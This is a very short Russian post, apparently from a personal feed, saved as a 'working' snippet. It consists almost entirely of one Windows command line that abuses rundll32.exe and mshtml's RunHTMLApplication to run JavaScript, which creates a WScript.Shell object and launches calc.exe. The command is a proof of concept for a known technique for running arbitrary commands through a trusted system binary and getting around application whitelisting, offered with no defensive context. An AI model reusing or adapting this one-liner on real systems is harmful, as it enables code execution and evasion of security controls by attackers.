рабочее

[pauelstv]

Пилетело в тленту. пусть тут полежит например:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script>"+(new%20ActiveXObject("WScript.Shell")).Run("calc"))